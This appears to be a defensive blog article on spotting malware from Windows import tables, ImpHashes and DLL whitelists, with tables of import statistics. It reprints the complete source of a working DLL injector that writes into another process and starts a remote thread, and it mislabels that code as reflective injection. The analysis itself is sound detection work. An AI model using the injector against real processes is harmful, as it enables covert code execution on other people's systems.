What are Function Imports

Function Imports are a collection of all of the functions a particular executable file depends upon that exist in other executables and are not implemented in the executable itself. If you have ever developed C or C++ applications for Windows systems, you are probably very familiar with the concept. If that applies to you, then you can probably skip to the next section.

How do Function Imports Work?

For those of you who are not familiar with funtion imports, function imports are defined by the application developer based on what functionality the application needs. The developer references header files where the functions are defined and library files where the functions are implemented. At compile time, the compiler will create a section in the PE header called an Import Address Table (IAT). This table is referenced by the Windows Loader at runtime in order to map the necessary DLL dependencies into the virtual address space of the application so that the application can call the necessary exported functions in those DLLs.

Figure 1: How the Import Address Table (IAT) is built and used.

Application developers will typically chose to depend upon other libraries for several reasons:

To make application development easier. There is no need to reinvent the wheel. If the necessary functionality already exists in a library somewhere, then there is no reason to duplicate that work. To reduce the size of the compiled application. Generally speaking, application developers want to make their software small so that it is quick and easy to download. If there are functions that exist inside of DLLs that are already on the target system, then you don’t have to include all of that compiled code inside of your binary. Simply reference the DLL that exists on the target system.

There are several other reasons for application developers to reference DLLs, but the two reasons above are the primary reasons malware developers also reference functions that are native to the target. The key takeaway is that both application developers and malware authors rely on code native to the target OS in order to make development easier and their tools smaller. The real question is, are there certain functions that are more closely associated with malware than legitimate applications?

Methods for Importing Functions

In the Windows environment, there are two different ways to import functions from another library: function name or ordinal. When importing by function name, the loader will search through all of the exported functions in the target library for corresponding function name. That function’s virtual address is then mapped to the application, so that it knows where to pass execution to. When importing by ordinal, the loader will map the function by its non-zero based index in the export table of the target library.

The image below explains the structure of the IAT. For each import on the table, there is an unsigned 2-byte integer called a “hint” that is the non-zero based index into the target libraries export table. The next field is a null terminated array of ASCII characters called the “name” which is used to lookup the corresponding function in the target library’s export table. The “hint” is used to speed up the process by letting the loader know which function in the export table is likely the right one. The loader will check the function at the index first for a match. If successful, a lot of time was saved by not checking through the entire table. If not, then the loader will search the entire export table.

typedef struct IMAGE_IMPORT_DESCRIPTOR { DWORD OriginalImportAddressTableRVA; //RVA to an array of PIMAGE_IMPORT_BY_NAME or IMAGE_THUNK_DATA structures. DWORD TimeStamp; //Another TimeStamp for when the module was built. DWORD ForwarderChainRVA; //Seldom used. DWORD LibraryNameRVA; //RVA to a null-terminated ASCII string. DWORD ImportAddressTableRVA; //RVA to an array of PIMAGE_IMPORT_BY_NAME or IMAGE_THUNK_DATA structures. }; /* NOTE:The contents pointed to by OriginalImportAddressTableRVA and ImportAddressTableRVA are typically mirrors of each other, but the ImportAddressTableRVA is modified by the loader at runtime to have the correct virtual address of the loaded function in memory. */

typedef struct IMAGE_IMPORT_BY_NAME { WORD Hint; //Index of the function in the export table of the target library. char[] Name; //A null terminated ASCII string that is the functions n name. }

Load the target library based off of the IMAGE_IMPORT_DESCRIPTOR::LibraryNameRVA field. Windows will follow the DLL search path discussed here. Get the list of exported functions from the target libraries export table. For each “thunk” in the IMAGE_IMPORT_DESCRIPTOR::ImportAddressTableRVA field: Look at the exported function located at the index from the “hint” field. If the “name” field from the IAT matches the “name” field from the export table, then map that function. Of the “name” field is empty, then the import will be mapped by index only. Else, loop through the entire export table and compare the “name” field from the IAT to each “name” field from the export table until the function is found or the end of the table is reached. If the end of the table is reached, then that library is not the correct library, so Windows will continue searching for a library that matches.

The “hint” field can also provide useful information to help identify malware. Most legitimate applications are compiled in such a way that each import in the IAT has a valid “hint” field, or at least one that is non-zero. Some malware follows that same standard, but there are many that don’t. For example, nearly 78% of all malware references kernel32::GetProcAddress while only 24% of legitimate files reference that same function (Figure 2). By ignoring the “Hint” field, we are missing out on a lot of information. By creating a histogram of “Hints”, we can see that nearly 33% of malware has a zero for the hint, while only 0.4% of legitimate files have a zero for the Hint. This is a much better indicator to look at than just a reference to GetProcAddress by itself. The downside is that it is very difficult to look at this information across multiple function imports as there are potentially hundreds of imports for a single file, but looking at the hint value can be a useful feature to feed into a machine learning model.

Figure 2: The percentage whitelist and blacklist samples that reference kernel32::GetProcAddress.

Figure 3: The percentage of whitelist and blacklist samples that reference kernel32::GetProcAddress broken out by the “Hint” value.

Example Import Address Table

Let’s take a look at some source code and what function imports are created in the IAT as dependencies to make this application work. The code below is source code from a DLL injector, written by SaEeD (source), that uses Reflective DLL Injection to inject a malicious DLL into the virtual address space of another process. Reflective DLL Injection is a common technique used by malware authors to help evade detection. It relies on API calls that are less common in legitimate applications because very few need to inject code into other processes.

/* Written by: SaEeD Description: Injecting DLL to Target process using Process Id or Process name */ #include "pch.h" #include <iostream> #include <string> #include <ctype.h> #include <Windows.h> #include <tlhelp32.h> #include <Shlwapi.h> //Library needed by Linker to check file existance #pragma comment(lib, "Shlwapi.lib") using namespace std; int getProcID(const string& p_name); bool InjectDLL(const int &pid, const string &DLL_Path); void usage(); int main(int argc, char ** argv) { if (argc != 3) { usage(); return EXIT_FAILURE; } if (PathFileExists(argv[2]) == FALSE) { cerr << "[!]DLL file does NOT exist!" << endl; return EXIT_FAILURE; } if (isdigit(argv[1][0])) { cout << "[+]Input Process ID: " << atoi(argv[1]) << endl; InjectDLL(atoi(argv[1]), argv[2]); } else { InjectDLL(getProcID(argv[1]), argv[2]); } return EXIT_SUCCESS; } //----------------------------------------------------------- // Get Process ID by its name //----------------------------------------------------------- int getProcID(const string& p_name) { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 structprocsnapshot = { 0 }; structprocsnapshot.dwSize = sizeof(PROCESSENTRY32); if (snapshot == INVALID_HANDLE_VALUE)return 0; if (Process32First(snapshot, &structprocsnapshot) == FALSE)return 0; while (Process32Next(snapshot, &structprocsnapshot)) { if (!strcmp(structprocsnapshot.szExeFile, p_name.c_str())) { CloseHandle(snapshot); cout << "[+]Process name is: " << p_name << "

[+]Process ID: " << structprocsnapshot.th32ProcessID << endl; return structprocsnapshot.th32ProcessID; } } CloseHandle(snapshot); cerr << "[!]Unable to find Process ID" << endl; return 0; } //----------------------------------------------------------- // Inject DLL to target process //----------------------------------------------------------- bool InjectDLL(const int &pid, const string &DLL_Path) { long dll_size = DLL_Path.length() + 1; HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProc == NULL) { cerr << "[!]Fail to open target process!" << endl; return false; } cout << "[+]Opening Target Process..." << endl; LPVOID MyAlloc = VirtualAllocEx(hProc, NULL, dll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (MyAlloc == NULL) { cerr << "[!]Fail to allocate memory in Target Process." << endl; return false; } cout << "[+]Allocating memory in Targer Process." << endl; int IsWriteOK = WriteProcessMemory(hProc, MyAlloc, DLL_Path.c_str(), dll_size, 0); if (IsWriteOK == 0) { cerr << "[!]Fail to write in Target Process memory." << endl; return false; } cout << "[+]Creating Remote Thread in Target Process" << endl; DWORD dWord; LPTHREAD_START_ROUTINE addrLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32"), "LoadLibraryA"); HANDLE ThreadReturn = CreateRemoteThread(hProc, NULL, 0, addrLoadLibrary, MyAlloc, 0, &dWord); if (ThreadReturn == NULL) { cerr << "[!]Fail to create Remote Thread" << endl; return false; } if ((hProc != NULL) && (MyAlloc != NULL) && (IsWriteOK != ERROR_INVALID_HANDLE) && (ThreadReturn != NULL)) { cout << "[+]DLL Successfully Injected :)" << endl; return true; } return false; } //----------------------------------------------------------- // Usage help //----------------------------------------------------------- void usage() { cout << "Usage: DLL_Injector.exe <Process name | Process ID> <DLL Path to Inject>" << endl; }

The code above generates the IAT listed below. The table itself includes the DLL name and the function name. Each entry has been enriched with statistics from the Malware Analysis Center database. The Whitelist and Blacklist columns shows the percentage of samples in each list that contained references to each of the functions in their respective rows (e.g. ExitProcess is referenced by 13.48% of legitimate files and 63.9% of malicious files in the database.

DLL Name Whitelist Blacklist Gain kernel32.dll exitprocess 13.48% 63.90% 0.199 kernel32.dll getprocaddress 24.32% 78.71% 0.166 kernel32.dll loadlibrarya 15.31% 56.98% 0.138 kernel32.dll writefile 17.20% 50.85% 0.091 kernel32.dll getstdhandle 12.56% 42.05% 0.079 kernel32.dll getcommandlinea 10.08% 37.26% 0.075 kernel32.dll rtlunwind 12.07% 40.02% 0.073 kernel32.dll readfile 13.09% 40.90% 0.071 kernel32.dll multibytetowidechar 19.71% 49.09% 0.069 kernel32.dll getcpinfo 11.42% 37.95% 0.069 kernel32.dll closehandle 23.90% 53.65% 0.067 kernel32.dll tlsgetvalue 12.53% 38.79% 0.065 kernel32.dll tlssetvalue 12.30% 38.36% 0.065 kernel32.dll getlasterror 25.63% 55.06% 0.064 kernel32.dll getacp 13.60% 39.77% 0.063 kernel32.dll getfiletype 12.38% 37.74% 0.062 kernel32.dll findclose 9.61% 32.16% 0.056 kernel32.dll widechartomultibyte 18.87% 44.61% 0.055 kernel32.dll heapalloc 18.01% 40.37% 0.043 kernel32.dll getcommandlinew 6.96% 24.66% 0.043 kernel32.dll getstringtypew 11.17% 30.92% 0.042 kernel32.dll getenvironmentstringsw 11.09% 30.78% 0.042 kernel32.dll getoemcp 11.28% 31.03% 0.042 kernel32.dll lcmapstringw 11.30% 30.90% 0.041 kernel32.dll freeenvironmentstringsw 11.06% 30.51% 0.041 kernel32.dll heapfree 18.20% 39.89% 0.041 kernel32.dll raiseexception 14.95% 35.28% 0.039 kernel32.dll leavecriticalsection 20.71% 42.21% 0.038 kernel32.dll entercriticalsection 20.68% 42.14% 0.038 kernel32.dll deletecriticalsection 20.86% 41.49% 0.035 kernel32.dll heapsize 11.90% 29.91% 0.035 kernel32.dll heaprealloc 13.74% 32.19% 0.034 kernel32.dll tlsalloc 12.34% 30.09% 0.034 kernel32.dll createfilew 13.02% 30.52% 0.032 kernel32.dll setlasterror 17.87% 36.66% 0.032 kernel32.dll getmodulefilenamew 14.37% 31.46% 0.029 kernel32.dll getcurrentthreadid 27.35% 46.57% 0.028 kernel32.dll getcurrentprocess 27.00% 45.27% 0.026 kernel32.dll unhandledexceptionfilter 25.42% 43.02% 0.024 kernel32.dll setstdhandle 9.85% 22.26% 0.020 kernel32.dll getstartupinfow 7.62% 19.07% 0.020 kernel32.dll isvalidcodepage 8.96% 20.84% 0.020 kernel32.dll freelibrary 20.87% 35.82% 0.020 kernel32.dll getconsolecp 8.22% 19.51% 0.019 kernel32.dll tlsfree 11.82% 24.34% 0.019 kernel32.dll getconsolemode 8.68% 19.90% 0.018 kernel32.dll writeconsolew 8.62% 19.66% 0.018 kernel32.dll setfilepointerex 2.82% 10.61% 0.018 kernel32.dll flushfilebuffers 11.85% 23.49% 0.017 kernel32.dll enumsystemlocalesw 0.83% 6.24% 0.016 kernel32.dll terminateprocess 25.92% 40.09% 0.016 kernel32.dll getprocessheap 15.04% 27.21% 0.016 kernel32.dll initializecriticalsectionandspincount 9.45% 19.92% 0.016 kernel32.dll getmodulehandlew 16.05% 28.34% 0.015 kernel32.dll readconsolew 1.28% 6.50% 0.014 kernel32.dll isvalidlocale 4.22% 11.42% 0.013 kernel32.dll getcurrentprocessid 26.18% 38.84% 0.013 kernel32.dll getmodulehandleexw 3.33% 9.90% 0.013 kernel32.dll createtoolhelp32snapshot 1.83% 6.81% 0.011 kernel32.dll isprocessorfeaturepresent 7.21% 14.86% 0.011 kernel32.dll getuserdefaultlcid 5.67% 12.18% 0.009 kernel32.dll setunhandledexceptionfilter 25.05% 35.22% 0.009 kernel32.dll getlocaleinfow 6.67% 13.01% 0.008 kernel32.dll findnextfilew 4.85% 10.39% 0.008 kernel32.dll virtualallocex 0.37% 2.79% 0.007 kernel32.dll initializeslisthead 1.54% 4.82% 0.006 kernel32.dll openprocess 6.10% 11.26% 0.006 kernel32.dll writeprocessmemory 0.50% 2.68% 0.006 kernel32.dll decodepointer 7.43% 12.79% 0.006 kernel32.dll isdebuggerpresent 15.88% 22.83% 0.005 kernel32.dll loadlibraryexw 9.07% 14.72% 0.005 kernel32.dll process32first 0.68% 2.91% 0.005 kernel32.dll process32next 0.70% 2.93% 0.005 kernel32.dll encodepointer 7.31% 12.27% 0.005 kernel32.dll comparestringw 8.25% 13.23% 0.005 kernel32.dll findfirstfileexw 0.97% 3.22% 0.004 shlwapi.dll pathfileexistsa 0.44% 2.14% 0.004 kernel32.dll switchtothread 1.01% 3.22% 0.004 kernel32.dll createremotethread 0.20% 1.12% 0.002 kernel32.dll queryperformancecounter 26.14% 31.16% 0.002 kernel32.dll getsystemtimeasfiletime 26.00% 30.71% 0.002 kernel32.dll getfilesizeex 2.50% 2.01% 0.000 kernel32.dll setenvironmentvariablew 2.03% 2.18% 0.000

A few of the functions that really stand out are:

Kernel32.dll:VirtualAllocEx – used to allocate memory in a another process.

Kernel32.dll:WriteProcessMemory – used to copy memory from one process to another.

Kernel32.dll:CreateRemoteThread – used to create a thread in the target process to run the malicious code that was just copied into that process.

The functions listed above are found in less than 0.5% of legitimate executables, and most are not found together. Additionally, these imports are specifically used to implement the DLL Injection technique. Those imports are located lower in the list when sorted by the information gain, but are really the most important piece to implementing Reflective DLL Injection. I was surprised to see that only 2% of malware samples contained references to those functions in the IAT. This may be due to other types of malware dynamically referencing those functions via calls to GetProcAddress.

Other imports have a higher information gain because a larger percentage of samples reference those imports. For example, ExitProcess is a common import found in 63.9% of malware, but it is only found in 13.5% of legitimate samples. I was surprised to see that ExitProcess was the biggest differentiator among samples because I generally don’t think of that function as being malicious in and of itself, nor can I think of any malicious techniques that use that explicitly depend upon ExitProcess in the same way that Reflective DLL Injection relies upon VirtualAllocEx. The code itself also does not reference ExitProcess, which led me to investigate other reasons why ExitProcess is even found in the IAT.

Compiler Artifacts

Another thing that led me to investigate other sources for function imports is the shear number of imports compared to the number of functions actually referenced in the code itself. The table below lists all 11 of the functions called by the actual code. All of the other imports are dependencies of the Windows runtime that are added by the Visual C++ compiler.

DLL Name kernel32.dll closehandle kernel32.dll createremotethread kernel32.dll createtoolhelp32snapshot kernel32.dll getprocaddress kernel32.dll loadlibrarya kernel32.dll openprocess kernel32.dll process32first kernel32.dll process32next kernel32.dll virtualallocex kernel32.dll writeprocessmemory shlwapi.dll pathfileexistsa

Essentially, any function import that is not in the list above is added as a result of the Visual C++ runtime, and it is a very extensive list. This is something to keep in mind when statically analyzing a file. Even though the IAT may contain references to API calls such as kernel32:createfilew or kernel32:isdebuggerpresent, that does not mean the application will ever be creating files or checking to see if the debugger is present as part of the core logic of the application. It could be something that a piece of malware will use, or it could just be an artifact of the Visual C++ runtime.

One last thing of interest with the DLL injector is that it only two dependencies: shlwapi.dll and kernel32.dll, both of which are found on nearly all Windows systems by default. Keep this fact in mind in the next section.

DLL Whitelisting

Another technique to distinguish between legitimate and malicious files is to use a whitelist of DLL dependencies that are not used by malware authors. In general, most malware is developed to run on as many systems as possible to give them the largest possible attack surface. To ensure their malware will run, malware authors build the malware to only depend upon DLLs that are present on nearly every system. This also simplifies their operations because the operators don’t have to worry about having to download additional dependencies if their malware can be a standalone product. Sometimes, an adversary only has the opportunity to get a user to download a single file either as a drive by download or as the result of an exploit. Having to download multiple files greatly complicates those scenarios and reduces the probability of success.

On the other hand, most legitimate software does not have the same requirement to not have any non-native dependencies. If you look at any program installed on a Windows system, it most likely has several DLLs located in the same directory that the application depends upon that were placed their by the installer. Legitimate software developers don’t have to worry as much about making their products standalone because the user is actively trying to install the software, and is therefore more willing to wait for larger downloads or to even install the pre-requisites themselves.

As a result, there are thousands of DLLs that legitimate software depends upon that are never referenced by malware because the malware authors cannot guarantee that the DLL will be present on the target system.

In this dataset, there are a total of 5,367 unique DLL names that are never referenced by any of the 114,815 malware samples. on the other hand, 21% of the 86,810 legitimate samples referenced at least one of those DLLs. Given that information, part of your triage process can include looking for non-native DLL dependencies. If any are found, then the sample is most likely legitimate. That analysis will eliminate 21% of the possible files you may need to triage.

Import Hash Blacklisting

With the previous technique of DLL whitelisting, we only concerned ourselves with one import at a time. Essentially, if an unknown PE file was identified for triage, we would check to see if any of it’s imports references a DLL on the whitelist. Of it did, then we would have increased confidence that the sample was non-malicious.

Import Hash blacklisting takes a more wholeistic approach by looking at all of the imports of a particular sample by grouping samples by their ImpHash.

What is an ImpHash?

An ImpHash is a MD5 hash of specific data from a PE file’s IAT. It is designed to yield a unique value for a given set of import functions. This allows researchers to easily compare one string and determine whether or not two binaries share the same set of import functions. Although I cannot find a source for the original inventor, the technique of ImpHashing was popularized by FireEye in 2014. Since then, the hash has been added into most major malware analysis tools including VirusTotal, Hybrid Analysis, Cuckoo Sandbox, and even Sysinternals.

The algorithm goes through the following steps to generate an ImpHash:

Extract list of imports from IAT Convert all DLL and function names to lowercase Combine DLL without extension and function name with a period in between Convert to list to a byte array MD5 hash the array

Blacklisting

The way I use ImpHash for triage is by querying a database of samples that are labeled either Whitelist, Blacklist, Graylist, or Unknown. This yields a count of whitelist and blacklist samples that share the same set of import functions. From there, I normalize the count by the total number of whitelisted and blacklisted samples in order to have a meaningful comparison between the two. In the database, there are actually way more blacklisted samples than whitelisted samples, so directly comparing the raw count would not be accurate. Once I have a percentage of whitelist and blacklist samples that share the same ImpHash, I generate a final metric which is:

Figure 4: Percentage of normalized true positives.

The equation above yields a value between 0 and 100 that says what is the percentage of normalized true positives would be given a perfectly even distribution of samples (i.e. 50/50 malicious/non-malicious). A count of all samples with an ImpHash with a greater than 95% FP rate results in firing on 42.69% of the malicious files in the set while only firing on 0.15% of the total legitimate files in the set.

Conclusion

Function imports provide a wealth of knowledge when statically analyzing files to determine if they are legitimate or malicious. The key take-aways are:

All of the functions you will see in an IAT were created for legitimate use, and are likely being used somewhere legitimately.

There are some functions that are used by malware more often than legitimate software.

Just because a function is not in the IAT does not mean the application won’t call that function. Malware can dynamically load libraries or call functions in those libraries.

Just because a function is in the IAT does not mean that the application will call that function. Sometimes, certain imports are an artifact of the compiler.

There are a lot of DLLs that malware does not reference. This is likely because many of those DLLs are not guaranteed to be on a system, and malware authors need to ensure their malware will run with minimal dependencies. As a result, DLL whitelisting is an effective technique to determine if a file is legitimate or not, accounting for 21% of all legitimate files.

While looking at an individual import may not yield a lot of information, looking at a combination of all imports of a file can uniquely identify a file as legitimate or malicious. Looking at a reputation score associated with a given ImpHash can be a very good indicator a file is legitimate or malicious.

Statistics

The table below lists some other functions commonly used by malware or functions that had a strong association with malware.

DLL Name Whitelist Blacklist Gain Description advapi32.dll AdjustTokenPrivileges 2.17% 0.19% 0.007326 This function is used to enable or disable specific access privileges. In a process injection attack, this function is used by malware to gain additional permissions. advapi32.dll controlservice 6.32% 2.28% 0.007454 These functions are used to create, start, stop, modify, or send a signal to a running service. If malware is using its own malicious service, code needs to be analyzed that implements the service in order to determine the purpose of the call. advapi32.dll createservicew 3.45% 1.02% 0.005209 advapi32.dll createservicea 2.52% 1.31% 0.001416 advapi32.dll cryptacquirecontextw 3.16% 4.76% 0.00119 These functions are often used by malware to initialize the use of Windows encryption. advapi32.dll cryptacquirecontexta 1.58% 1.13% 0.000275 api-ms-win-core-toolhelp-l1-1-0.dll createtoolhelp32snapshot 0.08% 0.00% 0.000434 This function is used to enumerate running processes, but most software typically references the kernel32.dll version, but I have recently seen a lot of legitimate software using the api-ms-win-core-*.dll assemblies for some of these core library functions. I have not looked into why these functions are referenced versus kernel32.dll. crypt32.dll certopensystemstorea 0.19% 0.03% 0.00049 These functions are used to access the certificates stored on the local system. Malware authors may use these functions to load the own certificates in order to run code that must be digitally signed such as drivers. crypt32.dll certopensystemstorew 0.10% 0.07% 2.37E-05 gdi32.dll bitblt 3.51% 15.76% 0.031875 Used for capturing screenshots. iphlpapi.dll icmpcreatefile 0.16% 0.47% 0.000539 The IcmpCreateFile function opens a handle on which IPv4 ICMP echo requests can be issued. iphlpapi.dll getadaptersinfo 0.65% 2.24% 0.003217 The GetAdaptersInfo function retrieves adapter information for the local computer. This is a call some malware will make when first fingerprinting a new system. kernel32.dll enumcalendarinfoa 0.08% 5.35% 0.023052 Enumerates calendar information for a specified locale. kernel32.dll getprofileinta 0.21% 3.06% 0.010232 Retrieves an integer from a key in the specified section of the Win.ini file. kernel32.dll getmodulehandlea 22.20% 46.89% 0.048124 These functions are used to obtain a handle to an already loaded module. Malware may use GetModuleHandle to locate and modify code in a loaded module or to search for a good location to inject code. kernel32.dll getmodulehandleexa 0.98% 0.18% 0.002263 kernel32.dll getmodulehandleexw 8.02% 10.02% 0.000856 kernel32.dll getmodulehandlew 31.27% 28.76% 0.000531 kernel32.dll getprocaddress 42.76% 72.51% 0.065566 Gets the address of a procedure in a specified DLL. This is used by malware to dynamically lookup additional functions to call in order to inhibit static analysis of the malware. kernel32.dll loadlibrarya 22.57% 57.69% 0.092586 These functions are used to dynamically load a DLL at runtime. These functions are typically used in conjunction with calls to GetProcAddress in order to dynamically find and call other functions. Malware will often use these functions as a defense evasion technique in order to slow down static analysis and reverse engineering of the malware. kernel32.dll loadlibraryexw 17.88% 14.92% 0.001133 kernel32.dll loadlibraryexa 9.95% 12.41% 0.001075 kernel32.dll loadlibraryw 23.11% 21.19% 0.000382 kernel32.dll getmodulefilenamea 22.25% 39.83% 0.025618 kernel32.dll getmodulefilenamew 26.33% 31.84% 0.002605 kernel32.dll connectnamedpipe 2.57% 1.73% 0.000602 Named pipes are a stream based communication mechanism in Windows systems that allows interprocess communication within a single system or across systems. Some malware will use named pipes for communication within a target network. kernel32.dll disconnectnamedpipe 2.38% 0.84% 0.00281 kernel32.dll createfilea 15.36% 31.58% 0.026051 These functions are used to create files, but are also an artifact of the Microsoft Visual C++ compiler. kernel32.dll createfilew 24.35% 30.87% 0.003749 kernel32.dll createfilemappingw 7.49% 6.35% 0.000359 kernel32.dll createfilemappinga 4.65% 3.93% 0.00022 kernel32.dll createmutexw 8.80% 5.74% 0.002485 Mutexes are used for thread synchronization within processes or across multiple processes. Each mutex is global on a single system and has a unique name. Malware will use mutexes to prevent multiple re-infections on the same system. kernel32.dll createmutexa 7.07% 6.91% 6.66E-06 kernel32.dll createprocessa 6.05% 16.75% 0.020405 kernel32.dll createprocessw 8.62% 6.53% 0.001116 kernel32.dll createremotethread 0.34% 1.16% 0.001672 This function is often used by malware to execute code in another thread such as with Reflective DLL Injection used by Meterpreter. kernel32.dll createtoolhelp32snapshot 2.95% 6.94% 0.00603 This function is used to enumerate running processes. kernel32.dll deviceiocontrol 7.78% 3.78% 0.005368 Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation. This can be used by malware to communicate with a rootkit or other low level kernel mode driver that is used by the malware. kernel32.dll findfirstfilea 5.37% 20.33% 0.036526 These functions are used to look through files in a directory. kernel32.dll findfirstfilew 9.99% 14.70% 0.003624 kernel32.dll findfirstfileexw 1.71% 3.24% 0.001717 kernel32.dll findfirstfileexa 0.87% 0.76% 2.76E-05 kernel32.dll findnextfilea 4.30% 14.52% 0.022216 kernel32.dll findnextfilew 8.60% 10.52% 0.00075 kernel32.dll findresourcea 4.79% 11.99% 0.012083 These functions are used to access resources contained within a portable executable. Common resources include icons, strings, configuration files, and dependencies. Malware will sometimes store packed, obfuscated, or encypted code in resource sections. At runtime, these functions will be used to extract and run the code. These functions are often combined with VirtualAllocEx to allocate virtual memory with R/W/E permissions to write the unpacked code into memory and execute it. kernel32.dll findresourcew 10.37% 13.85% 0.002007 kernel32.dll findresourceexa 1.05% 0.82% 9.75E-05 kernel32.dll findresourceexw 6.55% 6.83% 2.26E-05 kernel32.dll getstartupinfoa 12.68% 30.40% 0.033227 These functions are used to retrieve a structure containing details about how the current process was configured to run, such handles to the standard in, out, and error. kernel32.dll getstartupinfow 14.93% 19.42% 0.002501 kernel32.dll getsystemdefaultlangid 2.45% 1.00% 0.002296 This function returns the default language settings for the system. These settings may be used by malwares designed for region-based attacks. It may also just be used as initial survey information. kernel32.dll gettemppatha 3.54% 17.18% 0.03721 These functions return the temporary file path. Malware may use this to download additional malicious files onto the system or to move the malware to a different location for long-term persistence. kernel32.dll gettemppathw 7.16% 11.82% 0.004456 kernel32.dll getthreadcontext 1.25% 2.89% 0.002382 This function returns the context structure of a given thread. The context for a thread stores all the thread information, such as the register values and current state. kernel32.dll getversion 9.47% 22.26% 0.021904 This function returns information about which version of Windows is currently running. This can be used as part of an initial victim survey, or to select between different offsets for undocumented structures that have changed between different versions of Windows. kernel32.dll getversionexa 17.38% 24.60% 0.00556 kernel32.dll getversionexw 13.62% 10.16% 0.002041 kernel32.dll getwindowsdirectorya 3.73% 13.74% 0.022973 Used to get the path to the Windows directory. Malware may use the result of this call to place additional malicious files. kernel32.dll getwindowsdirectoryw 4.32% 4.28% 4.7E-07 kernel32.dll virtualallocex 0.37% 2.79% 0.007291 This function is a memory-allocation routine that can allocate memory in a remote process with specific memory permissions (e.g. RWE). Malware sometimes uses VirtualAllocEx as part of process injection. mpr.dll wnetuseconnectionw 0.02% 0.84% 0.003471 mscoree.dll corbindtoruntimeex 0.11% 2.24% 0.008005 msvbvm60.dll 0.16% 7.19% 0.02999 The Microsoft Visual Basic Virtual Machine (msvbvm) version 60 library. Malware authors leverage this DLL to build combined malware written in Visual Basic or it can be used to dynamically execute Visual Basic code. msvbvm60.dll __vbaexcepthandler 0.16% 6.84% 0.028333 msvbvm60.dll event_sink_queryinterface 0.15% 6.45% 0.026578 msvbvm60.dll event_sink_release 0.15% 6.45% 0.026574 msvbvm60.dll event_sink_addref 0.15% 6.45% 0.026574 msvbvm60.dll dllfunctioncall 0.14% 6.28% 0.026041 msvbvm60.dll proccallengine 0.03% 3.63% 0.016204 msvbvm60.dll methcallengine 0.03% 3.56% 0.015838 msvbvm60.dll _cicos 0.13% 2.98% 0.011019 msvbvm60.dll __vbafreevar 0.12% 2.94% 0.010952 msvbvm60.dll _adj_fptan 0.13% 2.97% 0.010945 msvbvm60.dll _adj_fdiv_m64 0.13% 2.97% 0.010945 msvbvm60.dll _cisin 0.13% 2.96% 0.010914 msvbvm60.dll _cilog 0.13% 2.96% 0.010914 msvbvm60.dll __vbachkstk 0.13% 2.96% 0.010914 msvbvm60.dll _citan 0.13% 2.96% 0.01091 msvbvm60.dll _allmul 0.13% 2.96% 0.01091 msvbvm60.dll _adj_fprem1 0.13% 2.96% 0.01091 msvbvm60.dll _adj_fdivr_m32i 0.13% 2.96% 0.01091 msvbvm60.dll _adj_fdivr_m16i 0.13% 2.96% 0.01091 msvbvm60.dll _adj_fdiv_m32i 0.13% 2.96% 0.01091 msvbvm60.dll _adj_fdiv_m32 0.13% 2.96% 0.01091 msvbvm60.dll _adj_fdiv_m16i 0.13% 2.96% 0.01091 msvbvm60.dll _cisqrt 0.13% 2.96% 0.010906 msvbvm60.dll _ciatan 0.13% 2.96% 0.010906 msvbvm60.dll _adj_fprem 0.13% 2.96% 0.010906 msvbvm60.dll _adj_fpatan 0.13% 2.96% 0.010906 msvbvm60.dll _adj_fdivr_m64 0.13% 2.96% 0.010906 msvbvm60.dll _adj_fdivr_m32 0.13% 2.96% 0.010906 msvbvm60.dll _adj_fdiv_r 0.13% 2.96% 0.010906 msvbvm60.dll __vbafpexception 0.13% 2.96% 0.010906 msvbvm60.dll _ciexp 0.13% 2.96% 0.010902 msvbvm60.dll __vbastrmove 0.12% 2.89% 0.010726 msvbvm60.dll __vbafreestr 0.13% 2.89% 0.010662 msvbvm60.dll __vbafreevarlist 0.13% 2.88% 0.010626 msvbvm60.dll __vbahresultcheckobj 0.13% 2.84% 0.010416 msvbvm60.dll __vbasetsystemerror 0.12% 2.71% 0.010049 msvbvm60.dll __vbanew2 0.13% 2.74% 0.010007 msvbvm60.dll __vbafreestrlist 0.12% 2.64% 0.009647 msvbvm60.dll __vbastrcopy 0.12% 2.62% 0.009547 msvbvm60.dll __vbafreeobj 0.13% 2.61% 0.009378 msvbvm60.dll __vbavarmove 0.10% 2.48% 0.009261 msvbvm60.dll __vbastrcat 0.12% 2.55% 0.009222 msvbvm60.dll __vbavardup 0.12% 2.45% 0.008805 msvbvm60.dll __vbastrvarmove 0.12% 2.31% 0.008198 msvbvm60.dll __vbaarydestruct 0.10% 2.23% 0.008191 netapi32.dll netwkstagetinfo 0.10% 2.59% 0.009815 The NetWkstaGetInfo function returns information about the configuration of a workstation. oleaut32.dll sysfreestring 0.11% 8.57% 0.037727 The oleaut32.dll is often used to leverage the Component Object Model system to execute commands or code from another host process. oleaut32.dll variantinit 0.04% 8.04% 0.036922 oleaut32.dll variantcopy 0.05% 7.84% 0.035631 oleaut32.dll sysallocstringlen 0.09% 7.72% 0.034084 oleaut32.dll variantclear 0.10% 7.26% 0.031655 oleaut32.dll sysreallocstringlen 0.08% 7.05% 0.031127 oleaut32.dll safearrayptrofindex 0.05% 6.89% 0.030939 oleaut32.dll safearraycreate 0.05% 6.39% 0.028728 oleaut32.dll safearraygetubound 0.04% 6.34% 0.028588 oleaut32.dll safearraygetlbound 0.04% 6.31% 0.02853 oleaut32.dll variantchangetype 0.04% 5.99% 0.027029 oleaut32.dll geterrorinfo 0.04% 2.81% 0.011876 oleaut32.dll variantcopyind 0.06% 2.28% 0.009106 psapi.dll enumprocesses 1.15% 1.45% 0.000129 Used to enumerate running processes. This information may be used by malware to detect the presence of AV, detect sandboxing, or to look for applications of interest. psapi.dll enumprocessmodules 1.54% 1.50% 2.01E-06 This function is used to enumerate the loaded modules (executables and DLLs) for a given process. Some malware may enumerate through modules when performing some type of process injection. It may also be used to detect the presence of AV or sandboxing. urlmon.dll urldownloadtofilea 0.03% 1.54% 0.006426 Used by droppers to download additional files, payloads, or commands to the malware. urlmon.dll urldownloadtofilew 0.11% 0.56% 0.001119 user32.dll findwindowexa 0.53% 4.01% 0.010452 These functions are used to search for an open window on the desktop. Sometimes this function is used as an anti-debugging technique. user32.dll findwindowa 2.99% 7.63% 0.007679 user32.dll findwindowexw 1.56% 3.65% 0.003057 user32.dll findwindoww 3.38% 3.50% 7.71E-06 user32.dll getasynckeystate 1.88% 2.86% 0.000725 Used for 